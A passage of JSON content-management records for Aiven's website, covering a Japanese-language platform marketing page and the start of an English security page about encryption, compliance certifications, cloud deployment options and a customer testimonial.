以上のリージョン"},{"_key":"adc4efe6966f","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9b722bb976b2ca9767d6e95bbe71206a156c84f8-40x40-svg","_type":"reference"}},"title":"自動バックアップ"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"securityNetwork":[{"_key":"083a1ae7e3d6","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-c195dd4a51d06e7435afd3a72c230871cb99de24-40x40-svg","_type":"reference"}},"title":"転送中および保管中のデータの暗号化"},{"_key":"7f1bbe218f77","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-7129481004ef88ea22a8c2f6a2c7daaf7126bb9a-40x40-svg","_type":"reference"}},"title":"専用の仮想マシン"},{"_key":"3f9bb93dd51d","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-cf142cafaab2b83bf2b2fa991a3a582da04545b1-40x40-svg","_type":"reference"}},"title":"自動セキュリティアップデート"},{"_key":"37536886fc52","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-4101100615713e748e9a72604adb0a26b86ab150-40x40-svg","_type":"reference"}},"title":"VPCピアリング"},{"_key":"e9f4bed1b784","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-f3ffa2a39382f848d72e84cb80bda5c8df0c4088-40x40-svg","_type":"reference"}},"title":"Private-link"},{"_key":"f8c4eacfe733","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e5612d6f4c1fce0ace581f6e2b1ff516f266ee26-40x40-svg","_type":"reference"}},"title":"Transit-gateway"}],"services":[{"_key":"64c5b13f43e1","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"29b8c89d83ad","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"reference"},{"_key":"839b6a648d86","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"df6a6282b6b6","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},{"_key":"4f72521ac0f7","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},{"_key":"ea4748dfacc4efed06885c42ba1817dd","_ref":"15ecb747-c8c1-42ad-baab-e7551844a508","_type":"reference"},{"_key":"eb0321abfb9d","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"reference"},{"_key":"8f08e9096f90","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"768ac73dfb4d","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"reference"},{"_key":"da653eb0757f","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"},{"_key":"3500656193a2","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"}],"tools":[{"_key":"ae308e91a424","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"reference"},{"_key":"b11541b83d5d","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"reference"},{"_key":"4d9f39037412","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"reference"},{"_key":"c25c14a792cc","_ref":"7179878d-2860-4cc5-a30e-a1e24b236517","_type":"reference"}]},{"_key":"xbevr10o0eaxi4cd8cwwwgyqb8x19l8d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ba274c2e87b0162561467501b9e271bd96a2cb25-1920x793-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"柔軟なデプロイメントオプション","tertiaryCTA":{"_type":"link","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},"title":"発表記事を読む(英語)"},"text":[{"_key":"6dd92f700d51","_type":"block","children":[{"_key":"7c658684806f0","_type":"span","marks":[],"text":"標準では、Aivenのサービスは、お客様が選択したクラウドとリージョンのAivenマネージドインフラストラクチャにデプロイされます。Aivenがクラウドのコンピュート、ストレージ、ネットワーク関連の設定とコストをすべて引き受けるため、ほとんどのお客様にとって最も簡単で便利な方法です。"}],"markDefs":[],"style":"normal"},{"_key":"4176a59935c8","_type":"block","children":[{"_key":"d214e12714ed0","_type":"span","marks":["strong"],"text":"BYOC(Bring Your Own Cloud)"},{"_key":"d214e12714ed1","_type":"span","marks":[],"text":"を利用すると、Aivenのマネージドデータサービスを、お客様が導入されているAWS、Google Cloud、Microsoft Azureアカウントに直接デプロイすることができます。BYOCを利用することで、既存のクラウドインフラストラクチャの割引プランを活用することができ、特定のコンプライアンス要件に対応することもできます。マネージドAivenのサービス体験は変わりません。"}],"markDefs":[],"style":"normal"}],"title":"Bring Your Own Cloud (BYOC)","variant":"mediaRight"},{"_key":"990e302e129b","_type":"iconList","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"headerPosition":"left","iconSize":24,"icons":[{"_key":"ec4e8551cec6","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b1708fdf0816cb3f4d63d9b7509a26d08a9accdb-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"097a60a76206","_type":"block","children":[{"_key":"8605b5a10d570","_type":"span","marks":[],"text":"今後も選択肢を広げたままにしておくために、私たちのサービスはオープンソースであり、柔軟なデプロイメントオプションで複数のクラウド上で実行されます。また、既存のデータソースやDevOpsツールとも統合できます。"}],"markDefs":[],"style":"normal"}],"title":"オープンな選択肢"},{"_key":"16ce5461d2ee6983b2fac3f66696a18d","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-092f95c7546f16488994272d57c0d36d60efb70b-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"b7b0e6415df1","_type":"block","children":[{"_key":"0156b13202ec0","_type":"span","marks":[],"text":"すべてのデータ基盤サービスに対して標準化された可視化、統治、管理を提供する単一のプラットフォームです。異なるサービスごとに異なるツールを学ぶ必要はありませんし、個別にそれらをプロセスやツールに統合する必要もありません。"}],"markDefs":[],"style":"normal"}],"title":"自己管理を維持"},{"_key":"27439eeba140e7d8342cf30aec9b05c4","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2d77c18ac82a","_type":"block","children":[{"_key":"76e8cf5bee050","_type":"span","marks":[],"text":"フルマネージドサービスにより、メンテナンスコストを削減し、リソースをより生産的なタスクに割り当てることができます。Aivenでは、ダウンタイムに関連するコストを最小限に抑え、透明性の高い予測可能な価格設定により、コストの最適化を容易にします。"}],"markDefs":[],"style":"normal"}],"title":"コスト最適化"},{"_key":"8346d5e0b6e5b7288ce882bf97ace324","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"dfe1f844dd53","_type":"block","children":[{"_key":"2d01224b95aa","_type":"span","marks":[],"text":"私たちは、お客様、パートナー、オープンソースコミュニティと協力し、持続可能なイノベーションを推進し、オープンソースデータ基盤を運用するためのベストプラクティスと経験を共有しています。Our "},{"_key":"618b55febd30","_type":"span","marks":["545684b7e3a7"],"text":"Open Source Program Office (OSPO)"},{"_key":"cdc8ff8c0603","_type":"span","marks":[],"text":" is actively contributing to the projects we offer as managed services. "}],"markDefs":[{"_key":"545684b7e3a7","_type":"internalLink","internalLink":{"_ref":"bddb4fef-dc21-4a58-8821-2d8dd3147ca1","_type":"reference"}}],"style":"normal"},{"_key":"1c910a5f5a9b","_type":"block","children":[{"_key":"e35fe86dbdaf0","_type":"span","marks":[],"text":"当社のオープンソースプログラムオフィス(OSPO)は、マネージドサービスとして提供しているプロジェクトへ積極的に貢献しています。"}],"markDefs":[],"style":"normal"}],"title":"サステナブルイノベーション"}],"id":"benefits","itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"147acaf524d3","_type":"block","children":[{"_key":"ce92958988a90","_type":"span","marks":[],"text":"Aivenプラットフォームは、Aivenサービスの秘密の要素です。シンプルで、統合された、そして自動化された管理環境で、日々進歩する最新のオープンソースデータインフラストラクチャのイノベーションを利用することができます。"}],"markDefs":[],"style":"normal"},{"_key":"00c708ab3bac","_type":"block","children":[{"_key":"0ae04d09a1520","_type":"span","marks":[],"text":"Aivenプラットフォームによって、選択肢を広げながら持続可能なイノベーションの開発において集中的なガバナンスが可能となります。"}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Aivenプラットフォームのメリット"},{"_key":"b7d40a992a86","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"25e4de3a7313","_type":"testimonialItem","content":[{"_key":"40707f977ce9","_type":"block","children":[{"_key":"b65f50dd1eaa0","_type":"span","marks":[],"text":"「Decathlonでは、サービスとテクノロジーのイノベーションは日々の活動の根底にあります。それが、私たちがAivenのような強力なマルチクラウドパートナーと提携し、クラウドプラットフォームエンジニアリングのグローバル戦略において、DBaaSを技術的および運用的な根幹として提供している理由です。」"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"SmFSPQEeG0lT9LV1ImFb1","_type":"reference"},"title":"ニュース記事を読む(英語)"},"image":{"_type":"mainImage","asset":{"_ref":"image-662d4991d0bce63f93b73a123aabf02d65d18997-800x198-jpg","_type":"reference"}},"jobTitle":"最高デジタル責任者","name":"Jérôme Dubreuil氏"},{"_key":"cb7b2c6da229","_ref":"6RKIzfTvV95lb8Kl2J4oMZ__i18n_ja","_type":"reference"},{"_key":"2aed4ddc17eb","_ref":"8c30efff-1771-4f8c-a629-2bfe8e5d0216__i18n_ja","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"お客様の活用事例","title":"Aivenプラットフォームに対するお客様の評価","variant":"logo"},{"_key":"9ac4c664fb68e9adca010ca8cf156600","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","darkTheme":true,"disabled":false,"fullWidth":true,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_type":"reference"},"title":"プランを見る"},"rounded":false,"subtitle":[{"_key":"40832d6d2aa7","_type":"block","children":[{"_key":"9e93f41ae6bc0","_type":"span","marks":[],"text":"月額にはすべてが含まれているため、月末に予期せぬ請求額が届くことはありません。メンテナンス、ネットワーク、ストレージの追加料金はありません。"}],"markDefs":[],"style":"normal"}],"tagline":"価格プラン","title":"スケールアップ、スケールダウン \\n- 利用した分だけ課金 -","variant":"centerColumn"},{"_key":"a964c4d2b4f4d4815d4ad0142eb3bffb","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"id":"features","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"機能紹介","title":"Aivenプラットフォームの主な機能","variant":"centerColumn"},{"_key":"a1d99646e6cd","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-13e9ac5779b1f64c3f6438186393320c3ee6fb15-3452x2062-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"text":[{"_key":"30005896f6a0","_type":"block","children":[{"_key":"f161f14f854e","_type":"span","marks":[],"text":"データのストリーミング、保存、分析のためによく使われている11のオープンソースデータサービス"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"db2fc2b67383","_type":"block","children":[{"_key":"58943a6e52e50","_type":"span","marks":[],"text":"PostgreSQL®からApache Kafka®にデータをストリーミングし、Apache Flink®で高品質化し、ClickHouse®に結果を保存するなど、マウスをクリックするだけで統合データパイプラインを構築可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ecc8985d8cf0","_type":"block","children":[{"_key":"17f53007f3ae0","_type":"span","marks":[],"text":"マネージドコネクタで外部のデータソースやデータシンクに統合可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8227c0ee403f","_type":"block","children":[{"_key":"a46d9cc176a7","_type":"span","marks":[],"text":"最新バージョンのオープンソーステクノロジーにアクセスし、新しい革新的な機能を利用可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"統合されたオープンソースサービスを選択可能","variant":"mediaLeft"},{"_key":"2b286b760dc0be8a4d973a2c18a1a345","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-8b7a17534344cf45d21c2f23e8fc345e550f2b68-1324x756-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"text":[{"_key":"446910b3fe78","_type":"block","children":[{"_key":"f6f92c2dba6a0","_type":"span","marks":[],"text":"Aiven Consoleによるシンプルで直感的な管理"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7f17c4e7ded2","_type":"block","children":[{"_key":"d94b027b3d340","_type":"span","marks":[],"text":"APIとCLIによる自動化"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1890fe298fe7","_type":"block","children":[{"_key":"1c551f55a9660","_type":"span","marks":[],"text":"TerraformによるInfrastructure As Codeのサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f68d83614622","_type":"block","children":[{"_key":"4e7ceeda2fa5","_type":"span","marks":[],"text":"Aiven Operator for Kubernetesを使用したKubernetesとの統合"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOpsに適した管理","variant":"mediaRight"},{"_key":"20664af061e58aa7cc0b04fade092dcd","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e23b357f7cbbd814b7f713597e719ae9d2ae6f17-1324x765-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"text":[{"_key":"138c755f145f","_type":"block","children":[{"_key":"fcda573133040","_type":"span","marks":[],"text":"99.99%の月間アップタイムSLA、高可用性、自動バックアップを備えた自己修復プラットフォーム"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"38b886c981de","_type":"block","children":[{"_key":"bf593be857e40","_type":"span","marks":[],"text":"スケーリング、アップグレード、その他の管理運用時のダウンタイムはほぼゼロ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7678401bcfdc","_type":"block","children":[{"_key":"a95ccc2e731f0","_type":"span","marks":[],"text":"Datadog、Prometheus、Jolokiaなど、お気に入りのオブザーバビリティ(可観測性)ツールとの統合や、Aivenの可観測性ツールによる監視とロギングの強化が可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c0c298c07ce5","_type":"block","children":[{"_key":"8197b09057940","_type":"span","marks":[],"text":"全て込みで予測可能な価格設定"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f421be648446","_type":"block","children":[{"_key":"fa5dd7f2268c0","_type":"span","marks":[],"text":"24時間365日のエンタープライズサポートオプションを選択可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"信頼性の高いプラットフォーム","variant":"mediaLeft"},{"_key":"6cac8c2bdc51b0ee0cd6e2b52c524cd5","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-474c59097c57b89bbc08d17ab375f891d2ddf651-1324x765-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"text":[{"_key":"60ff92d51d29","_type":"block","children":[{"_key":"d743ce812edd0","_type":"span","marks":[],"text":"専用仮想マシン、転送中および保存中のデータの暗号化、自動セキュリティアップデートなど、完全なエンドツーエンドのセキュリティを実現"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"28ad7aca4c1a","_type":"block","children":[{"_key":"10e1ed8b1f78","_type":"span","marks":[],"text":"ISO27001、SOC2、HIPAA、PCI-DSS、GDPRなどのセキュリティおよびプライバシー基準に準拠"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b14204c091fc","_type":"block","children":[{"_key":"eef90f56a2ec0","_type":"span","marks":[],"text":"VPCピアリング、PrivateLink、TransitGateway技術を使用したセキュアなネットワーク接続性"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7d053186a580","_type":"block","children":[{"_key":"e045e46857de0","_type":"span","marks":[],"text":"SAML、AD、Okta、OneLoginとの認証統合"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"セキュリティとコンプライアンス","variant":"mediaRight"},{"_key":"ab3632ae10b40c44813e1ff4cc5343df","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-032286b5651b1c4982ead92aab6935af79fd005f-1324x765-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"text":[{"_key":"e262f7605016","_type":"block","children":[{"_key":"32366fd02bdb0","_type":"span","marks":[],"text":"5つのクラウド、100以上のリージョンから選択可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1e9feb09c563","_type":"block","children":[{"_key":"0a54d6afaf8e0","_type":"span","marks":[],"text":"コスト最適化と厳格な管理要件に対応するBYOC (Bring Your Own Cloud) デプロイメントモデルも提供"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"430df28da5c2","_type":"block","children":[{"_key":"44439e8068c0","_type":"span","marks":[],"text":"レイテンシー、コスト、ディザスタリカバリ、規制要件に対応するため、クラウド間でワークロードを簡単に移行またはレプリケーション可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"503215ed870d","_type":"block","children":[{"_key":"745f5d7bdae60","_type":"span","marks":[],"text":"AWS、Google Cloud、Microsoft Azureの各マーケットプレイスからも入手可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"柔軟なクラウドデプロイメント","variant":"mediaLeft"},{"_key":"55ed68cdcfb04e496f72315115204bbe","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","darkTheme":false,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff__i18n_ja","_type":"reference"},"title":"お問合せ"},"subtitle":[{"_key":"3b1c207bed23","_type":"block","children":[{"_key":"5fb4ba35dc2c0","_type":"span","marks":[],"text":"月額にはすべてが含まれているため、月末に予期せぬ請求額が届くことはありません。メンテナンス、ネットワーク、ストレージの追加料金はありません。"}],"markDefs":[],"style":"normal"}],"title":"今すぐAivenを使ってみましょう","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"データをストリーミング、保存、分析するためのオープンプラットフォームです。主要クラウドで利用可能なフルマネージドサービスです。","metaImage":{"_type":"mainImage","asset":{"_ref":"image-2c6a141c98d57da2a9c9db28506031a9a6f3f5fd-1200x630-jpg","_type":"reference"}},"metaTitle":"Aivenプラットフォーム"},"slug":{"_type":"slug","current":"/platform"},"title":"Aivenプラットフォーム"} {"__i18n_lang":"en","_createdAt":"2022-09-02T16:26:59Z","_id":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_rev":"pJF45R2ZhhHEU2zZ9CsLcN","_type":"page","_updatedAt":"2024-09-17T13:29:16Z","content":[{"_key":"4002ed8305e5","_type":"hero","backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"description":[{"_key":"296a9fa88c7b","_type":"block","children":[{"_key":"45435f6258f10","_type":"span","marks":[],"text":"We care about your data. Aiven provides fully managed security for all our services so that our customers can keep their data secure and stay compliant."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"noSpaceBottom":true,"rounded":false,"title":"Aiven Security","variant":"compact"},{"_key":"73e00521dc6f4149f08e49115fb33334","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-645bc93e17703a6f48254a02d9d577866628b5f2-576x581-svg","_type":"reference"}},"backgroundPosition":"right center","backgroundPositionMobile":"center center","backgroundSize":"contain","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"52edbb5de164","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"1f13c819b436","_type":"block","children":[{"_key":"8e764a4abe830","_type":"span","marks":[],"text":"Do you have a business continuity plan in place? Aiven provides 99.99% SLA backed by a 24/7 support and engineering team to make sure that your mission-critical workloads are always up and running. We support Multi-Cloud (AWS, Google Cloud, Azure and others) and multi-AZ deployments, with built-in backup and automatic failover."}],"markDefs":[],"style":"normal"},{"_key":"5e1a1269a0e6","_type":"block","children":[{"_key":"3982bdc4d334","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"657593160128","_type":"block","children":[{"_key":"1eaca979212a","_type":"span","marks":["strong"],"text":"Use case"}],"markDefs":[],"style":"normal"},{"_key":"292cd45a8c5f","_type":"block","children":[{"_key":"167f0ae84bf7","_type":"span","marks":[],"text":"Disaster recovery strategies to handle partial or complete regional outages."}],"markDefs":[],"style":"normal"},{"_key":"d1c569136f4e","_type":"block","children":[{"_key":"85a0561ba8e3","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"5769cbe64949","_type":"block","children":[{"_key":"a7c9c8d896fe","_type":"span","marks":["strong"],"text":"Technical feature"}],"markDefs":[],"style":"normal"},{"_key":"cc7cefeba925","_type":"block","children":[{"_key":"99cccf20bc850","_type":"span","marks":[],"text":"Dedicated VM’s per customer, no multi-tenancy"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"38b739f5de79","_type":"block","children":[{"_key":"5a654f8ea4940","_type":"span","marks":[],"text":"Multi-Cloud, Multi-Zone deployment"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"865337ca7f34","_type":"block","children":[{"_key":"db519816ed450","_type":"span","marks":[],"text":"Automatic failover"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8923fb1d6cf6","_type":"block","children":[{"_key":"514bc8c117e1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Business continuity","variant":"icon-card"},{"_key":"5d968a791f744e1aeda3c9cf15fc60c4","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"1f13c819b436","_type":"block","children":[{"_key":"b8900d0c53dc","_type":"span","marks":[],"text":"Security starts with the right level of access. Aiven provides secure single sign-on to all your environments with SAML integration, regardless of where you run your workloads. All data is fully encrypted end-to-end at rest and in transit. We also work with HackerOne for active whitehat hacker bug bounty programs."}],"markDefs":[],"style":"normal"},{"_key":"5e1a1269a0e6","_type":"block","children":[{"_key":"3982bdc4d334","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"0c5f2fbae009","_type":"block","children":[{"_key":"2e23d7053887","_type":"span","marks":["strong"],"text":"Use case"}],"markDefs":[],"style":"normal"},{"_key":"0aa251561ba9","_type":"block","children":[{"_key":"5ed500eb75c40","_type":"span","marks":[],"text":"Dedicated VPC Peering on Aiven Cloud to provide fine grained network access control."}],"markDefs":[],"style":"normal"},{"_key":"d1c569136f4e","_type":"block","children":[{"_key":"85a0561ba8e3","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b477e90b4bdf","_type":"block","children":[{"_key":"29863adad71c","_type":"span","marks":["strong"],"text":"Technical feature"}],"markDefs":[],"style":"normal"},{"_key":"cb28393052d7","_type":"block","children":[{"_key":"d35fea66d0cf0","_type":"span","marks":[],"text":"At-rest and in-transit encryption"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"64f60cd78c94","_type":"block","children":[{"_key":"9bf6dc39cf0a0","_type":"span","marks":[],"text":"SSO/SAML integration"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"749fd111f99f","_type":"block","children":[{"_key":"612c2835328c0","_type":"span","marks":[],"text":"VPC Peering"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1a859a761d57","_type":"block","children":[{"_key":"a48ed3dc0d5d0","_type":"span","marks":[],"text":"BYOC Deployment"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2b2ca0d5a4f7","_type":"block","children":[{"_key":"5c0318e4fba40","_type":"span","marks":[],"text":"PrivateLink for AWS and Azure"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8923fb1d6cf6","_type":"block","children":[{"_key":"514bc8c117e1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Secure access","variant":"icon-card"},{"_key":"010930b93386b2c8c912ac8565468a7f","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"5944f70e3ad1","_type":"block","children":[{"_key":"71402d4e403f0","_type":"span","marks":[],"text":"Our services are ISO 27000-series, GDPR, CCPA, HIPAA and PCI-DSS compliant. We also provide ISAE 3000/SOC2 Type II reports. We continually and actively expand our compliance coverage against the most important global standards."}],"markDefs":[],"style":"normal"},{"_key":"5e1a1269a0e6","_type":"block","children":[{"_key":"3982bdc4d334","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"8c34b1e1bed6","_type":"block","children":[{"_key":"3e8b43a4023d","_type":"span","marks":["strong"],"text":"Use case"}],"markDefs":[],"style":"normal"},{"_key":"402c856eadd8","_type":"block","children":[{"_key":"40d2f94d143d0","_type":"span","marks":[],"text":"Protecting customer’s data privacy is the core tenant of Aiven. We meet the most stringent industry security standards and regulations."}],"markDefs":[],"style":"normal"},{"_key":"d1c569136f4e","_type":"block","children":[{"_key":"85a0561ba8e3","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"4d8efdf01ad7","_type":"block","children":[{"_key":"762c41f22ecd","_type":"span","marks":["strong"],"text":"Technical feature"}],"markDefs":[],"style":"normal"},{"_key":"65fefab2f95d","_type":"block","children":[{"_key":"72b403cc0892","_type":"span","marks":[],"text":"ISAE 3000, ISO27K, GDPR, CCPA, HIPAA and PCI DSS"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3f1759548d79","_type":"block","children":[{"_key":"3d1b06edd1830","_type":"span","marks":[],"text":"Automated security update"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"99920735a935","_type":"block","children":[{"_key":"39a9e1b868120","_type":"span","marks":[],"text":"Annual Security Testing"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8923fb1d6cf6","_type":"block","children":[{"_key":"514bc8c117e1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Compliance","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false},{"_key":"0c7f9cbce48b","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"headerPosition":"default","id":"compliance","items":[{"_key":"245bf387a106","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-1bdfde2875e6ddebd644205ed02f511116278f6a-40x40-svg","_type":"reference"}},"subtitle":[{"_key":"e800283d54eb","_type":"block","children":[{"_key":"be9d3a4685ff0","_type":"span","marks":[],"text":"Certificate no. 